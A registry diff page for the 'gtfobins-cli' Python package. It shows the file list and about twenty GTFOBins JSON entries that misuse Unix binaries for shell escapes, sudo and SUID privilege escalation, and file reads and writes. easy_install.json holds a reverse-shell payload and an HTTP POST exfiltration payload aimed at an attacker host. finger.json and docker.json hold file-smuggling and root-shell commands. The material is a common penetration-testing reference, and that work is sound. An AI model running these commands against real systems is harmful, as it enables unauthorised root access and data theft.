gtfobins-cli 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (263) hide show
  1. gtfo/__init__.py +2 -0
  2. gtfo/cli.py +90 -0
  3. gtfo/data/apt-get.json +24 -0
  4. gtfo/data/apt.json +24 -0
  5. gtfo/data/ar.json +20 -0
  6. gtfo/data/aria2c.json +24 -0
  7. gtfo/data/arp.json +20 -0
  8. gtfo/data/ash.json +24 -0
  9. gtfo/data/at.json +20 -0
  10. gtfo/data/atobm.json +20 -0
  11. gtfo/data/awk.json +46 -0
  12. gtfo/data/base32.json +19 -0
  13. gtfo/data/base64.json +19 -0
  14. gtfo/data/basenc.json +19 -0
  15. gtfo/data/bash.json +69 -0
  16. gtfo/data/bpftrace.json +15 -0
  17. gtfo/data/bundler.json +29 -0
  18. gtfo/data/busctl.json +15 -0
  19. gtfo/data/busybox.json +37 -0
  20. gtfo/data/byebug.json +19 -0
  21. gtfo/data/cancel.json +10 -0
  22. gtfo/data/capsh.json +19 -0
  23. gtfo/data/cat.json +19 -0
  24. gtfo/data/certbot.json +14 -0
  25. gtfo/data/check_by_ssh.json +17 -0
  26. gtfo/data/check_cups.json +15 -0
  27. gtfo/data/check_log.json +20 -0
  28. gtfo/data/check_memory.json +15 -0
  29. gtfo/data/check_raid.json +15 -0
  30. gtfo/data/check_ssl_cert.json +17 -0
  31. gtfo/data/check_statusfile.json +15 -0
  32. gtfo/data/chmod.json +15 -0
  33. gtfo/data/chown.json +15 -0
  34. gtfo/data/chroot.json +14 -0
  35. gtfo/data/cobc.json +14 -0
  36. gtfo/data/column.json +20 -0
  37. gtfo/data/comm.json +19 -0
  38. gtfo/data/composer.json +19 -0
  39. gtfo/data/cowsay.json +15 -0
  40. gtfo/data/cowthink.json +14 -0
  41. gtfo/data/cp.json +32 -0
  42. gtfo/data/cpan.json +33 -0
  43. gtfo/data/cpio.json +48 -0
  44. gtfo/data/cpulimit.json +19 -0
  45. gtfo/data/crash.json +21 -0
  46. gtfo/data/crontab.json +16 -0
  47. gtfo/data/csh.json +24 -0
  48. gtfo/data/csplit.json +19 -0
  49. gtfo/data/csvtool.json +31 -0
  50. gtfo/data/cupsfilter.json +19 -0
  51. gtfo/data/curl.json +34 -0
  52. gtfo/data/cut.json +19 -0
  53. gtfo/data/dash.json +24 -0
  54. gtfo/data/date.json +20 -0
  55. gtfo/data/dd.json +24 -0
  56. gtfo/data/dialog.json +20 -0
  57. gtfo/data/diff.json +19 -0
  58. gtfo/data/dig.json +20 -0
  59. gtfo/data/dmesg.json +22 -0
  60. gtfo/data/dmsetup.json +14 -0
  61. gtfo/data/dnf.json +10 -0
  62. gtfo/data/docker.json +35 -0
  63. gtfo/data/dpkg.json +20 -0
  64. gtfo/data/dvips.json +20 -0
  65. gtfo/data/easy_install.json +53 -0
  66. gtfo/data/eb.json +15 -0
  67. gtfo/data/ed.json +34 -0
  68. gtfo/data/emacs.json +29 -0
  69. gtfo/data/env.json +19 -0
  70. gtfo/data/eqn.json +20 -0
  71. gtfo/data/ex.json +24 -0
  72. gtfo/data/exiftool.json +20 -0
  73. gtfo/data/expand.json +20 -0
  74. gtfo/data/expect.json +19 -0
  75. gtfo/data/facter.json +14 -0
  76. gtfo/data/file.json +26 -0
  77. gtfo/data/find.json +19 -0
  78. gtfo/data/finger.json +17 -0
  79. gtfo/data/flock.json +19 -0
  80. gtfo/data/fmt.json +27 -0
  81. gtfo/data/fold.json +19 -0
  82. gtfo/data/ftp.json +26 -0
  83. gtfo/data/gawk.json +46 -0
  84. gtfo/data/gcc.json +24 -0
  85. gtfo/data/gdb.json +66 -0
  86. gtfo/data/gem.json +28 -0
  87. gtfo/data/genisoimage.json +15 -0
  88. gtfo/data/ghc.json +14 -0
  89. gtfo/data/ghci.json +14 -0
  90. gtfo/data/gimp.json +57 -0
  91. gtfo/data/git.json +55 -0
  92. gtfo/data/grep.json +20 -0
  93. gtfo/data/gtester.json +19 -0
  94. gtfo/data/gzip.json +23 -0
  95. gtfo/data/hd.json +20 -0
  96. gtfo/data/head.json +19 -0
  97. gtfo/data/hexdump.json +20 -0
  98. gtfo/data/highlight.json +19 -0
  99. gtfo/data/hping3.json +19 -0
  100. gtfo/data/iconv.json +25 -0
  101. gtfo/data/iftop.json +20 -0
  102. gtfo/data/install.json +15 -0
  103. gtfo/data/ionice.json +19 -0
  104. gtfo/data/ip.json +28 -0
  105. gtfo/data/irb.json +47 -0
  106. gtfo/data/jjs.json +43 -0
  107. gtfo/data/join.json +19 -0
  108. gtfo/data/journalctl.json +15 -0
  109. gtfo/data/jq.json +19 -0
  110. gtfo/data/jrunscript.json +43 -0
  111. gtfo/data/ksh.json +60 -0
  112. gtfo/data/ksshell.json +20 -0
  113. gtfo/data/latex.json +29 -0
  114. gtfo/data/latexmk.json +27 -0
  115. gtfo/data/ld.so.json +20 -0
  116. gtfo/data/ldconfig.json +17 -0
  117. gtfo/data/less.json +40 -0
  118. gtfo/data/logsave.json +19 -0
  119. gtfo/data/look.json +19 -0
  120. gtfo/data/ltrace.json +26 -0
  121. gtfo/data/lua.json +58 -0
  122. gtfo/data/lualatex.json +20 -0
  123. gtfo/data/luatex.json +20 -0
  124. gtfo/data/lwp-download.json +26 -0
  125. gtfo/data/lwp-request.json +14 -0
  126. gtfo/data/mail.json +20 -0
  127. gtfo/data/make.json +26 -0
  128. gtfo/data/man.json +24 -0
  129. gtfo/data/mawk.json +34 -0
  130. gtfo/data/more.json +24 -0
  131. gtfo/data/mount.json +10 -0
  132. gtfo/data/mtr.json +15 -0
  133. gtfo/data/mv.json +15 -0
  134. gtfo/data/mysql.json +26 -0
  135. gtfo/data/nano.json +34 -0
  136. gtfo/data/nawk.json +46 -0
  137. gtfo/data/nc.json +40 -0
  138. gtfo/data/nice.json +19 -0
  139. gtfo/data/nl.json +20 -0
  140. gtfo/data/nmap.json +82 -0
  141. gtfo/data/node.json +58 -0
  142. gtfo/data/nohup.json +24 -0
  143. gtfo/data/npm.json +14 -0
  144. gtfo/data/nroff.json +20 -0
  145. gtfo/data/nsenter.json +14 -0
  146. gtfo/data/octave-cli.json +30 -0
  147. gtfo/data/od.json +20 -0
  148. gtfo/data/openssl.json +55 -0
  149. gtfo/data/openvpn.json +28 -0
  150. gtfo/data/openvt.json +10 -0
  151. gtfo/data/paste.json +19 -0
  152. gtfo/data/pdb.json +15 -0
  153. gtfo/data/pdflatex.json +29 -0
  154. gtfo/data/pdftex.json +19 -0
  155. gtfo/data/perl.json +35 -0
  156. gtfo/data/pg.json +24 -0
  157. gtfo/data/php.json +70 -0
  158. gtfo/data/pic.json +19 -0
  159. gtfo/data/pico.json +34 -0
  160. gtfo/data/pip.json +53 -0
  161. gtfo/data/pkexec.json +9 -0
  162. gtfo/data/pkg.json +10 -0
  163. gtfo/data/pr.json +20 -0
  164. gtfo/data/pry.json +19 -0
  165. gtfo/data/psql.json +15 -0
  166. gtfo/data/puppet.json +26 -0
  167. gtfo/data/python.json +62 -0
  168. gtfo/data/rake.json +19 -0
  169. gtfo/data/readelf.json +20 -0
  170. gtfo/data/red.json +20 -0
  171. gtfo/data/redcarpet.json +15 -0
  172. gtfo/data/restic.json +20 -0
  173. gtfo/data/rev.json +19 -0
  174. gtfo/data/rlogin.json +11 -0
  175. gtfo/data/rlwrap.json +25 -0
  176. gtfo/data/rpm.json +26 -0
  177. gtfo/data/rpmquery.json +19 -0
  178. gtfo/data/rsync.json +19 -0
  179. gtfo/data/ruby.json +52 -0
  180. gtfo/data/run-mailcap.json +28 -0
  181. gtfo/data/run-parts.json +19 -0
  182. gtfo/data/rview.json +100 -0
  183. gtfo/data/rvim.json +100 -0
  184. gtfo/data/sash.json +19 -0
  185. gtfo/data/scp.json +31 -0
  186. gtfo/data/screen.json +24 -0
  187. gtfo/data/script.json +20 -0
  188. gtfo/data/sed.json +41 -0
  189. gtfo/data/service.json +14 -0
  190. gtfo/data/setarch.json +19 -0
  191. gtfo/data/sftp.json +26 -0
  192. gtfo/data/sg.json +15 -0
  193. gtfo/data/shuf.json +28 -0
  194. gtfo/data/smbclient.json +27 -0
  195. gtfo/data/snap.json +10 -0
  196. gtfo/data/socat.json +46 -0
  197. gtfo/data/soelim.json +20 -0
  198. gtfo/data/sort.json +19 -0
  199. gtfo/data/split.json +31 -0
  200. gtfo/data/sqlite3.json +34 -0
  201. gtfo/data/ss.json +20 -0
  202. gtfo/data/ssh-keygen.json +22 -0
  203. gtfo/data/ssh.json +38 -0
  204. gtfo/data/ssh_keyscan.json +20 -0
  205. gtfo/data/start-stop-daemon.json +19 -0
  206. gtfo/data/stdbuf.json +19 -0
  207. gtfo/data/strace.json +25 -0
  208. gtfo/data/strings.json +20 -0
  209. gtfo/data/su.json +9 -0
  210. gtfo/data/sysctl.json +20 -0
  211. gtfo/data/systemctl.json +21 -0
  212. gtfo/data/tac.json +20 -0
  213. gtfo/data/tail.json +19 -0
  214. gtfo/data/tar.json +51 -0
  215. gtfo/data/taskset.json +19 -0
  216. gtfo/data/tbl.json +20 -0
  217. gtfo/data/tclsh.json +25 -0
  218. gtfo/data/tcpdump.json +15 -0
  219. gtfo/data/tee.json +20 -0
  220. gtfo/data/telnet.json +28 -0
  221. gtfo/data/tex.json +19 -0
  222. gtfo/data/tftp.json +28 -0
  223. gtfo/data/time.json +20 -0
  224. gtfo/data/timeout.json +19 -0
  225. gtfo/data/tmux.json +14 -0
  226. gtfo/data/top.json +16 -0
  227. gtfo/data/troff.json +20 -0
  228. gtfo/data/ul.json +20 -0
  229. gtfo/data/unexpand.json +19 -0
  230. gtfo/data/uniq.json +20 -0
  231. gtfo/data/unshare.json +19 -0
  232. gtfo/data/update-alternatives.json +16 -0
  233. gtfo/data/uuencode.json +19 -0
  234. gtfo/data/valgrind.json +14 -0
  235. gtfo/data/vi.json +28 -0
  236. gtfo/data/view.json +109 -0
  237. gtfo/data/vim.json +109 -0
  238. gtfo/data/vimdiff.json +109 -0
  239. gtfo/data/virsh.json +21 -0
  240. gtfo/data/watch.json +25 -0
  241. gtfo/data/wc.json +20 -0
  242. gtfo/data/wget.json +40 -0
  243. gtfo/data/whois.json +25 -0
  244. gtfo/data/wish.json +20 -0
  245. gtfo/data/xargs.json +35 -0
  246. gtfo/data/xelatex.json +29 -0
  247. gtfo/data/xetex.json +19 -0
  248. gtfo/data/xmodmap.json +20 -0
  249. gtfo/data/xmore.json +20 -0
  250. gtfo/data/xxd.json +24 -0
  251. gtfo/data/xz.json +19 -0
  252. gtfo/data/yelp.json +10 -0
  253. gtfo/data/yum.json +20 -0
  254. gtfo/data/zip.json +24 -0
  255. gtfo/data/zsh.json +29 -0
  256. gtfo/data/zsoelim.json +20 -0
  257. gtfo/data/zypper.json +22 -0
  258. gtfobins_cli-1.0.0.dist-info/METADATA +188 -0
  259. gtfobins_cli-1.0.0.dist-info/RECORD +263 -0
  260. gtfobins_cli-1.0.0.dist-info/WHEEL +5 -0
  261. gtfobins_cli-1.0.0.dist-info/entry_points.txt +2 -0
  262. gtfobins_cli-1.0.0.dist-info/licenses/LICENSE +674 -0
  263. gtfobins_cli-1.0.0.dist-info/top_level.txt +1 -0
gtfo/data/dialog.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The file is shown in an interactive TUI dialog, thus it is not suitable for binary/too big data.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "dialog --textbox \"[file]\" 0 0\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./dialog --textbox \"[file]\" 0 0\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo dialog --textbox \"[file]\" 0 0\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/diff.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "diff --line-format=%L /dev/null [file]\n"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./diff --line-format=%L /dev/null [file]\n"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo diff --line-format=%L /dev/null [file]\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/dig.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "Each input line is treated as a lookup query for the 'dig' command and the output is corrupted with the result or errors of the operation, so this may not be suitable for binary files. Grepping for 'DiG' might help to filter out unwanted content.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "dig -f [file]\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "code": "sudo dig -f [file]\n"
12
+ }
13
+ ],
14
+ "suid": [
15
+ {
16
+ "code": "./dig -f [file]\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/dmesg.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "description": "This is not suitable for binary files.",
6
+ "code": "dmesg -rF \"[file]\"\n"
7
+ }
8
+ ],
9
+ "shell": [
10
+ {
11
+ "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
12
+ "code": "dmesg -H\n!/bin/sh\n"
13
+ }
14
+ ],
15
+ "sudo": [
16
+ {
17
+ "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
18
+ "code": "sudo dmesg -H\n!/bin/sh\n"
19
+ }
20
+ ]
21
+ }
22
+ }
gtfo/data/dmsetup.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "functions": {
3
+ "sudo": [
4
+ {
5
+ "code": "sudo dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\nsudo dmsetup ls --exec '/bin/sh -s'\n"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\n./dmsetup ls --exec '/bin/sh -p -s'\n"
11
+ }
12
+ ]
13
+ }
14
+ }
gtfo/data/dnf.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "functions": {
3
+ "sudo": [
4
+ {
5
+ "description": "It runs commands using a specially crafted RPM package. Generate it with https://github.com/jordansissel/fpm and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```",
6
+ "code": "sudo dnf install -y x-1.0-1.noarch.rpm\n"
7
+ }
8
+ ]
9
+ }
10
+ }
gtfo/data/docker.json ADDED
@@ -0,0 +1,35 @@
1
+ {
2
+ "description": "This requires the user to be privileged enough to run docker, i.e. being in the 'docker' group or being 'root'. Any other Docker Linux image should work, e.g., 'debian'.",
3
+ "functions": {
4
+ "shell": [
5
+ {
6
+ "description": "The resulting is a root shell.",
7
+ "code": "docker run -v /:/mnt --rm -it alpine chroot /mnt sh"
8
+ }
9
+ ],
10
+ "file-write": [
11
+ {
12
+ "description": "Write a file by copying it to a temporary container and back to the target destination on the host.",
13
+ "code": "CONTAINER_ID=\"$(docker run -d alpine)\" # or existing\nTF=$(mktemp)\necho \"DATA\" > $TF\ndocker cp $TF $CONTAINER_ID:$TF\ndocker cp $CONTAINER_ID:$TF [file]\n"
14
+ }
15
+ ],
16
+ "file-read": [
17
+ {
18
+ "description": "Read a file by copying it to a temporary container and back to a new location on the host.",
19
+ "code": "CONTAINER_ID=\"$(docker run -d alpine)\" # or existing\nTF=$(mktemp)\ndocker cp file_to_read $CONTAINER_ID:$TF\ndocker cp $CONTAINER_ID:$TF $TF\ncat $TF\n"
20
+ }
21
+ ],
22
+ "sudo": [
23
+ {
24
+ "description": "The resulting is a root shell.",
25
+ "code": "sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh"
26
+ }
27
+ ],
28
+ "suid": [
29
+ {
30
+ "description": "The resulting is a root shell.",
31
+ "code": "./docker run -v /:/mnt --rm -it alpine chroot /mnt sh"
32
+ }
33
+ ]
34
+ }
35
+ }
gtfo/data/dpkg.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
6
+ "code": "dpkg -l\n!/bin/sh\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
12
+ "code": "sudo dpkg -l\n!/bin/sh\n"
13
+ },
14
+ {
15
+ "description": "It runs an interactive shell using a specially crafted Debian package. Generate it with https://github.com/jordansissel/fpm and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n```",
16
+ "code": "sudo dpkg -i x_1.0_all.deb"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/dvips.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The 'texput.dvi' output file produced by 'tex' can be created offline and uploaded to the target.",
3
+ "functions": {
4
+ "shell": [
5
+ {
6
+ "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\ndvips -R0 texput.dvi\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\nsudo dvips -R0 texput.dvi\n"
12
+ }
13
+ ],
14
+ "limited-suid": [
15
+ {
16
+ "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\n./dvips -R0 texput.dvi\n"
17
+ }
18
+ ]
19
+ }
20
+ }
@@ -0,0 +1,53 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\neasy_install $TF\n"
6
+ }
7
+ ],
8
+ "reverse-shell": [
9
+ {
10
+ "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
11
+ "code": "TF=$(mktemp -d)\necho 'import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' > $TF/setup.py\neasy_install $TF\n"
12
+ }
13
+ ],
14
+ "file-upload": [
15
+ {
16
+ "description": "Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. The file path must be absolute.",
17
+ "code": "TF=$(mktemp -d)\necho 'import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))' > $TF/setup.py\neasy_install $TF\n"
18
+ },
19
+ {
20
+ "description": "Serve files in the local folder running an HTTP server. ",
21
+ "code": "TF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py\neasy_install $TF\n"
22
+ }
23
+ ],
24
+ "file-download": [
25
+ {
26
+ "description": "Fetch a remote file via HTTP GET request. The file path must be absolute.",
27
+ "code": "TF=$(mktemp -d)\necho \"import os;\nos.execl('$(whereis python)', '$(whereis python)', '-c', \\\"\\\"\\\"import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve('[url]', '[file]')\\\"\\\"\\\")\" > $TF/setup.py\npip install $TF\n"
28
+ }
29
+ ],
30
+ "file-write": [
31
+ {
32
+ "description": "The file path must be absolute.",
33
+ "code": "TF=$(mktemp -d)\necho \"import os;\nos.execl('$(whereis python)', 'python', '-c', 'open(\\\"[file]\\\",\\\"w+\\\").write(\\\"DATA\\\")')\" > $TF/setup.py\neasy_install $TF\n"
34
+ }
35
+ ],
36
+ "file-read": [
37
+ {
38
+ "description": "The read file content is wrapped within program messages. The file path must be absolute.",
39
+ "code": "TF=$(mktemp -d)\necho 'print(open(\"[file]\").read())' > $TF/setup.py\neasy_install $TF\n"
40
+ }
41
+ ],
42
+ "library-load": [
43
+ {
44
+ "code": "TF=$(mktemp -d)\necho 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")' > $TF/setup.py\neasy_install $TF\n"
45
+ }
46
+ ],
47
+ "sudo": [
48
+ {
49
+ "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo easy_install $TF\n"
50
+ }
51
+ ]
52
+ }
53
+ }
gtfo/data/eb.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "description": "This invokes the default logging service, which is likely to be 'journalctl', other functions may apply. For this to work the target must be connected to AWS instance via EB-CLI.",
3
+ "functions": {
4
+ "shell": [
5
+ {
6
+ "code": "eb logs\n!/bin/sh\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "code": "sudo eb logs\n!/bin/sh\n"
12
+ }
13
+ ]
14
+ }
15
+ }
gtfo/data/ed.json ADDED
@@ -0,0 +1,34 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "ed\n!/bin/sh\n"
6
+ }
7
+ ],
8
+ "file-write": [
9
+ {
10
+ "code": "ed [file]\na\nDATA\n.\nw\nq\n"
11
+ }
12
+ ],
13
+ "file-read": [
14
+ {
15
+ "code": "ed [file]\n,p\nq\n"
16
+ }
17
+ ],
18
+ "suid": [
19
+ {
20
+ "code": "./ed [file]\n,p\nq\n"
21
+ }
22
+ ],
23
+ "sudo": [
24
+ {
25
+ "code": "sudo ed\n!/bin/sh\n"
26
+ }
27
+ ],
28
+ "limited-suid": [
29
+ {
30
+ "code": "./ed\n!/bin/sh\n"
31
+ }
32
+ ]
33
+ }
34
+ }
gtfo/data/emacs.json ADDED
@@ -0,0 +1,29 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "emacs -Q -nw --eval '(term \"/bin/sh\")'"
6
+ }
7
+ ],
8
+ "file-write": [
9
+ {
10
+ "code": "emacs [file]\nDATA\nC-x C-s\n"
11
+ }
12
+ ],
13
+ "file-read": [
14
+ {
15
+ "code": "emacs [file]"
16
+ }
17
+ ],
18
+ "suid": [
19
+ {
20
+ "code": "./emacs -Q -nw --eval '(term \"/bin/sh -p\")'"
21
+ }
22
+ ],
23
+ "sudo": [
24
+ {
25
+ "code": "sudo emacs -Q -nw --eval '(term \"/bin/sh\")'"
26
+ }
27
+ ]
28
+ }
29
+ }
gtfo/data/env.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "env /bin/sh"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./env /bin/sh -p"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo env /bin/sh"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/eqn.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "eqn \"[file]\"\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./eqn \"[file]\"\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo eqn \"[file]\"\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/ex.json ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "ex\n!/bin/sh\n"
6
+ }
7
+ ],
8
+ "file-write": [
9
+ {
10
+ "code": "ex [file]\na\nDATA\n.\nw\nq\n"
11
+ }
12
+ ],
13
+ "file-read": [
14
+ {
15
+ "code": "ex [file]\n,p\nq\n"
16
+ }
17
+ ],
18
+ "sudo": [
19
+ {
20
+ "code": "sudo ex\n!/bin/sh\n"
21
+ }
22
+ ]
23
+ }
24
+ }
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "If the permissions allow it, files are moved (instead of copied) to the destination.\n",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "exiftool -filename=[output] [file]\ncat [output]\n"
7
+ }
8
+ ],
9
+ "file-write": [
10
+ {
11
+ "code": "exiftool -filename=[file] [input]\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo exiftool -filename=[file] [input]\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/expand.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The read file content is corrupted by replacing tabs with spaces.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "expand \"[file]\"\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./expand \"[file]\"\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo expand \"[file]\"\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/expect.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "expect -c 'spawn /bin/sh;interact'"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./expect -c 'spawn /bin/sh -p;interact'"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo expect -c 'spawn /bin/sh;interact'"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/facter.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nFACTERLIB=$TF facter\n"
6
+ }
7
+ ],
8
+ "sudo": [
9
+ {
10
+ "code": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nsudo FACTERLIB=$TF facter\n"
11
+ }
12
+ ]
13
+ }
14
+ }
gtfo/data/file.json ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "description": "Each input line is treated as a filename for the 'file' command and the output is corrupted by a suffix ':' followed by the result or the error of the operation, so this may not be suitable for binary files.",
6
+ "code": "file -f [file]\n"
7
+ },
8
+ {
9
+ "description": "Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files. If a line in the target file begins with a '#', it will not be printed as these lines are parsed as comments. It can also be provided with a directory and will read each file in the directory.",
10
+ "code": "file -m [file]\n"
11
+ }
12
+ ],
13
+ "suid": [
14
+ {
15
+ "description": "Each input line is treated as a filename for the 'file' command and the output is corrupted by a suffix ':' followed by the result or the error of the operation, so this may not be suitable for binary files.",
16
+ "code": "./file -f [file]\n"
17
+ }
18
+ ],
19
+ "sudo": [
20
+ {
21
+ "description": "Each input line is treated as a filename for the 'file' command and the output is corrupted by a suffix ':' followed by the result or the error of the operation, so this may not be suitable for binary files.",
22
+ "code": "sudo file -f [file]\n"
23
+ }
24
+ ]
25
+ }
26
+ }
gtfo/data/find.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "find . -exec /bin/sh \\; -quit"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./find . -exec /bin/sh -p \\; -quit"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo find . -exec /bin/sh \\; -quit"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/finger.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "description": "'finger' hangs waiting for the remote peer to close the socket.",
3
+ "functions": {
4
+ "file-upload": [
5
+ {
6
+ "description": "Send a binary file to a TCP port. Run 'sudo nc -l -p 79 | base64 -d > [file]' on the attacker box to collect the file. The file length is limited by the maximum size of arguments.",
7
+ "code": "finger \"$(base64 [file])@[host]\"\n"
8
+ }
9
+ ],
10
+ "file-download": [
11
+ {
12
+ "description": "Fetch remote binary file from a remote TCP port. Run 'base64 [file] | sudo nc -l -p 79' on the attacker box to send the file.",
13
+ "code": "finger x@[host] | base64 -d > [file]\n"
14
+ }
15
+ ]
16
+ }
17
+ }
gtfo/data/flock.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "flock -u / /bin/sh"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./flock -u / /bin/sh -p"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo flock -u / /bin/sh"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/fmt.json ADDED
@@ -0,0 +1,27 @@
1
+ {
2
+ "description": "The read file content is not binary-safe.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "description": "This only works for the GNU version of `fmt`.",
7
+ "code": "fmt -pNON_EXISTING_PREFIX [file]\n"
8
+ },
9
+ {
10
+ "description": "This corrupts the output by wrapping very long lines at the given width.",
11
+ "code": "fmt -999 [file]\n"
12
+ }
13
+ ],
14
+ "suid": [
15
+ {
16
+ "description": "This corrupts the output by wrapping very long lines at the given width.",
17
+ "code": "./fmt -999 [file]\n"
18
+ }
19
+ ],
20
+ "sudo": [
21
+ {
22
+ "description": "This corrupts the output by wrapping very long lines at the given width.",
23
+ "code": "sudo fmt -999 [file]\n"
24
+ }
25
+ ]
26
+ }
27
+ }
